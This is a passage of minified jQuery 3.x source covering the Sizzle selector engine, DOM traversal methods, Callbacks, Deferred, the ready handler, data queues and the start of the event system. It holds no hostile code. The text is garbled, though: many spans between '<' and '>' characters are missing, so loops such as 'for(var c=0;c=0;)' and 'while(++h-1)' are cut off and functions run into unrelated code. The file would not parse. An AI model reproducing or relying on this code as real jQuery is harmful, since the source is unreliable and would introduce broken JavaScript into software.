RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext,B=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,C=/^.[^:#\[\.,]*$/;function D(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):C.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(D(this,a||[],!1))},not:function(a){return this.pushStack(D(this,a||[],!0))},is:function(a){return!!D(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var E,F=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:F.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function J(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return J(a,"nextSibling")},prev:function(a){return J(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return a.contentDocument||r.merge([],a.childNodes)}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(I[a]||r.uniqueSort(e),H.test(a)&&e.reverse()),this.pushStack(e)}});var K=/[^\x20\t\r\n\f]+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function M(a){return a}function N(a){throw a}function O(a,b,c){var d;try{a&&r.isFunction(d=a.promise)?d.call(a).done(b).fail(c):a&&r.isFunction(d=a.then)?d.call(a,b,c):b.call(void 0,a)}catch(a){c.call(void 0,a)}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==N&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(O(a,g.done(h(c)).resolve,g.reject),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)O(e[c],h(c),g.reject);return g.promise()}});var P=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&P.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var Q=r.Deferred();r.fn.ready=function(a){return Q.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,holdReady:function(a){a?r.readyWait++:r.ready(!0)},ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener("DOMContentLoaded",R), +a.removeEventListener("load",R),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",R),a.addEventListener("load",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=V.get(a,b),c&&(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks("once memory").add(function(){V.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,ka=/^$|\/(?:java|ecma)script/i,la={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};la.optgroup=la.option,la.tbody=la.tfoot=la.colgroup=la.caption=la.thead,la.th=la.td;function ma(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&r.nodeName(a,b)?r.merge([a],c):c}function na(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=ma(l.appendChild(f),"script"),j&&na(g),c){k=0;while(f=g[k++])ka.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var qa=d.documentElement,ra=/^key/,sa=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ta=/^([^.]*)(?:\.(.+)|)/;function ua(){return!0}function va(){return!1}function wa(){try{return d.activeElement}catch(a){}}function xa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)xa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=va;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(qa,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 